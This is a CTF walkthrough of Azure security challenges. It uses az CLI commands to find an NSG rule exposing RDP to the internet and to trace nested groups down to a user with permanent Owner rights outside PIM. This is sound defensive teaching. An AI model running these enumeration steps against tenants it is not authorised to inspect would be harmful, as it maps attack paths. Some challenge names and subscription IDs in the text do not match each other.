"sourceAddressPrefix": "0.0.0.0/0"
}
},
...[snip]...
{
"name": "Deny-All-Inbound",
"properties": {
"access": "Deny",
"destinationPortRange": "*",
"direction": "Inbound",
...[snip]...
"sourceAddressPrefix": "*"
}
}
]
...[snip]...
}
The web NSG appears reasonably locked down, permitting only HTTP/HTTPS traffic from the internet.
Terminal
Inspect the Network Security Group (mgmt) 🕵️
Here is the NSG and its resource group:--nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2
Hint: We want to list the NSG rules
Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-list
Next, we inspect the management NSG:
[
{
"name": "Allow-AzureBastion",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
...[snip]...
"sourceAddressPrefix": "AzureBastion"
}
},
{
"name": "Allow-Monitoring-Inbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
...[snip]...
"sourceAddressPrefix": "AzureMonitor"
}
},
...[snip]...
{
"name": "Deny-All-Inbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Deny",
"destinationPortRange": "*",
"direction": "Inbound",
...[snip]...
"sourceAddressPrefix": "*"
}
},
...[snip]...
]
The management NSG restricts inbound access appropriately and does not expose sensitive services directly to the internet.
Terminal
Take a look at the rest of the NSG rules and examine their properties.
After enumerating the NSG rules, enter the command string to view the suspect rule and inspect its properties.
Hint: Review fields such as direction, access, protocol, source, destination and port settings.
Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-show
We expand our search to include the remaining NSGs, focusing on production:
# Dump all nsg rules:
$ az network nsg list --query '[].{name:name,resourceGroup:resourceGroup,securityRules:securityRules,defaultSecurityRules:defaultSecurityRules}' -o json
# Specific production rule:
$ az network nsg rule list --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1 | less
[
...[snip]...
{
"name": "Allow-RDP-From-Internet",
"nsg": "nsg-production-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "3389",
"direction": "Inbound",
"priority": 120,
"protocol": "Tcp",
"sourceAddressPrefix": "0.0.0.0/0"
}
},
...[snip]...
]
One rule stands out: Allow-RDP-From-Internet, which permits unrestricted inbound RDP access from the public internet.
Inspecting the rule directly confirms the issue:
$ az network nsg rule show --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1 --name Allow-RDP-From-Internet
Terminal
Nice work!
Great, you found the NSG misconfiguration allowing RDP (port 3389) from the public internet!
Port 3389 is used by Remote Desktop Protocol - exposing it broadly allows attackers to brute-force credentials, exploit RDP vulnerabilities, and pivot within the network.
✨ To finish, type: finish
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Forgotton IP challenge!
Owner⚓︎
Owner
Difficulty:
Location: Park
Topic: Cloud IAM / Azure RBAC Excessive Privilege & Group Nesting
Help Goose James near the park discover the accidentally leaked SAS token in a public JavaScript file and determine what Azure Storage resource it exposes and what permissions it grants.
Overview
This challenge demonstrates how nested group memberships hide excessive RBAC permissions, violating least privilege principles.
- Subscription-level Owner role grants full control over all resources
- Nested groups can obscure who actually has elevated permissions
- PIM (Privileged Identity Management) should replace permanent role assignments
graph LR
A[List Role Assignments] --> B[Find Non-PIM Owner]
B --> C[Enumerate Group Members]
C --> D[Discover Nested Group]
D --> E[Find Actual User]
We head to the park to meet Goose James.


Santa provides a hint indicating that the terminal includes guidance:
Owner
This terminal has built-in hints!
Opening the Owner terminal launches a terminal session with the Azure CLI already configured.

Azure CLI Querying with JMESPath⚓︎
Terminal
Let's learn some more Azure CLI, the --query parameter with JMESPath syntax!
$ az account list --query "[].name"
Here, [] loops through each item, .name grabs the name field
We begin by listing all subscriptions and using --query to return only subscription names.
[
"theneighborhood-sub",
"theneighborhood-sub-2",
"theneighborhood-sub-3",
"theneighborhood-sub-4"
]
Terminal
You can do some more advanced queries using conditional filtering with custom output.
$ az account list --query "[?state=='Enabled'].{Name:name, ID:id}"
Cool! 😎 [?condition] filters what you want, {custom:fields} makes clean output ✨
Next, we filter for enabled subscriptions and format the output into a cleaner shape.
[
{
"ID": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"Name": "theneighborhood-sub"
},
{
"ID": "4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e",
"Name": "theneighborhood-sub-2"
},
{
"ID": "065cc24a-077e-40b9-b666-2f4dd9f3a617",
"Name": "theneighborhood-sub-3"
},
{
"ID": "681c0111-ca84-47b2-808d-d8be2325b380",
"Name": "theneighborhood-sub-4"
}
]
Enumerating Subscription Owners⚓︎
Terminal
Let's take a look at the Owner's of the first listed subscription 🔍. Pass in the first subscription id.
Try: az role assignment list --scope "/subscriptions/{ID of first Subscription}" --query [?roleDefinition=='Owner']
We now query the Owner role assignments on the first subscription scope.
$ az role assignment list --scope "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64" --query [?roleDefinition=='Owner']
[
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T15:45:12.439266+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
"name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
"principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
"principalName": "PIM-Owners",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T15:45:12.439266+00:00"
}
]
Terminal
Ok 🤔 - there is a group present for the Owners permission; however, we've been assured this is a 🔐 PIM enabled group.
Currently, no PIM activations are present. 🚨
Let's run the previous command against the other subscriptions to see what we come up with.
At first glance, an Owner assignment to a PIM-enabled group is expected. PIM (Privileged Identity Management) reduces standing privilege by requiring just-in-time activation for high-impact roles. To validate the claim that only the PIM group has Owner rights everywhere, we repeat the query against the remaining subscriptions.
$ az role assignment list --scope "/subscriptions/4d9dbf2a-90b4-4d40-a97f-dc51f3c3d46e" --query [?roleDefinition=='Owner']
[
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T15:45:12.439266+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/b1c69caa-a4d6-449a-a090-efacb23b55f3",
"name": "b1c69caa-a4d6-449a-a090-efacb23b55f3",
"principalId": "2b5c7aed-2728-4e63-b657-98f759cc0936",
"principalName": "PIM-Owners",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T15:45:12.439266+00:00"
},
{
"condition": "null",
"conditionVersion": "null",
"createdBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"createdOn": "2025-09-10T16:58:16.317381+00:00",
"delegatedManagedIdentityResourceId": "null",
"description": "null",
"id": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleAssignments/6b452f58-6872-4064-ae9b-78742e8d987e",
"name": "6b452f58-6872-4064-ae9b-78742e8d987e",
"principalId": "6b982f2f-78a0-44a8-b915-79240b2b4796",
"principalName": "IT Admins",
"principalType": "Group",
"roleDefinitionId": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"roleDefinitionName": "Owner",
"scope": "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617",
"type": "Microsoft.Authorization/roleAssignments",
"updatedBy": "85b095fa-a9b4-4bdc-a3af-c9f95ebb8dd6",
"updatedOn": "2025-09-10T16:58:16.317381+00:00"
}
]
This output reveals the problem: IT Admins is also assigned the Owner role, meaning there is standing privilege outside of PIM.
Investigating Excessive Privilege⚓︎
Terminal
Looks like you are on to something here! 🕵️ We were assured that only the 🔐 PIM group was present for each subscription.
🔎 Let's figure out the membership of that group.
Hint: use the az ad member list command. Pass the group id instead of the name.
Remember: | less lets you scroll through long output
To determine who effectively has subscription-level Owner access, we enumerate the membership of the IT Admins group.
[
{
"@odata.type": "#microsoft.graph.group",
...[snip]...
"displayName": "Subscription Admins",
"id": "631ebd3f-39f9-4492-a780-aef2aec8c94e",
...[snip]...
}
]
Terminal
Well 😤, that's annoying. Looks like we have a nested group!
Let's run the command one more time against this group.
The output shows a nested group, so we enumerate Subscription Admins as well.
[
{
"@odata.type": "#microsoft.graph.user",
...[snip]...
"displayName": "Firewall Frank",
"givenName": "Frank",
"id": "b8613dd2-5e33-4d77-91fb-b4f2338c19c9",
"jobTitle": "HOA IT Administrator",
"mail": "frank.firewall@theneighborhood.invalid",
...[snip]...
"userPrincipalName": "frank.firewall@theneighborhood.onmicrosoft.com"
}
]
Terminal
🎉 Great! You discovered Firewall Frank, the 👨💻 IT Administrator, with permanent Owner access.
This is a security risk ⚠️ - IT staff should use 🔐 PIM (Privileged Identity Management) for elevated access instead of permanent assignments. Permanent Owner roles create persistent attack paths and violate least-privilege principles.
Challenge Complete! To finish, type: finish
This completes the objective and we are awarded an achievement.
Achievement
Congratulations! You have completed the Token Exposure challenge!
With all ten Act 1 objectives complete, the mystery deepens - and Act 2 unlocks.